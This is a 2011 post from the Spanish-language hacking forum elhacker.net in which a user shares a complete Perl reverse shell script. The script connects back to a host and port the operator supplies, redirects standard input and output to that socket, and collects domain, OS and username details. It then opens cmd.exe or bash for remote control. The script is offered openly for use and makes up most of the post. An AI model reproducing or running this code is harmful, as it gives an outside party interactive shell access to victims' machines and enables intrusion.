elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] Reverse Shell By Doddy
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Reverse Shell By Doddy  (Leído 1,672 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] Reverse Shell By Doddy
« en: 8 Octubre 2011, 16:55 pm »

 Hola a todos.

Hoy traigo un simple reverse shell en esta version solo pueden conectarse al server que tiene netcat
despues ofrece informacion depende del sistema operativo que tiene el que ejecuto el script.
En la version 0.2 le agregare deteccion de kernel y su posible exploit.

Código
  1. #!usr/bin/perl
  2. #Reverse Shell 0.1
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6.  
  7. print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  8.  
  9. unless (@ARGV == 2) {
  10. print "[Sintax] : $0 <host> <port>\n\n";
  11. exit(1);
  12. } else {
  13. print "[+] Starting the connection\n";
  14. print "[+] Enter in the system\n";
  15. print "[+] Enjoy !!!\n\n";
  16. conectar($ARGV[0],$ARGV[1]);
  17. tipo();
  18. }
  19.  
  20. sub conectar {
  21. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  22. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  23. open (STDIN,">&REVERSE");
  24. open (STDOUT,">&REVERSE");
  25. open (STDERR,">&REVERSE");
  26. }
  27.  
  28. sub tipo {
  29. print "\n[*] Reverse Shell Starting...\n\n";
  30. if ($^O =~/Win32/ig) {
  31. infowin();
  32. system("cmd.exe");
  33. } else {
  34. infolinux();
  35. #root();  
  36. system("bin/bash");
  37. }
  38. }
  39.  
  40. sub infowin {
  41. print "[+] Domain Name : ".Win32::DomainName()."\n";
  42. print "[+] OS Version : ".Win32::GetOSName()."\n";
  43. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  44. }
  45.  
  46. sub infolinux {
  47. print "[+] System information\n\n";
  48. system("uname -a");
  49. }
  50.  
  51. #The End
  52.  
  53.  


« Última modificación: 8 Octubre 2011, 19:10 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] Terr0r B0t By Doddy H
Scripting
BigBear 0 2,131 Último mensaje 7 Octubre 2011, 15:55 pm
por BigBear
[Perl] Stalker By Doddy H
Scripting
BigBear 2 2,930 Último mensaje 19 Octubre 2011, 22:47 pm
por BigBear
[Perl] Scan Port By Doddy H
Scripting
BigBear 0 1,811 Último mensaje 7 Octubre 2011, 15:56 pm
por BigBear
[Perl] Pass Cracker By Doddy H
Scripting
BigBear 0 1,433 Último mensaje 8 Octubre 2011, 16:56 pm
por BigBear
[Perl] Reverse Shell 0.2
Scripting
BigBear 0 1,855 Último mensaje 9 Octubre 2012, 03:05 am
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines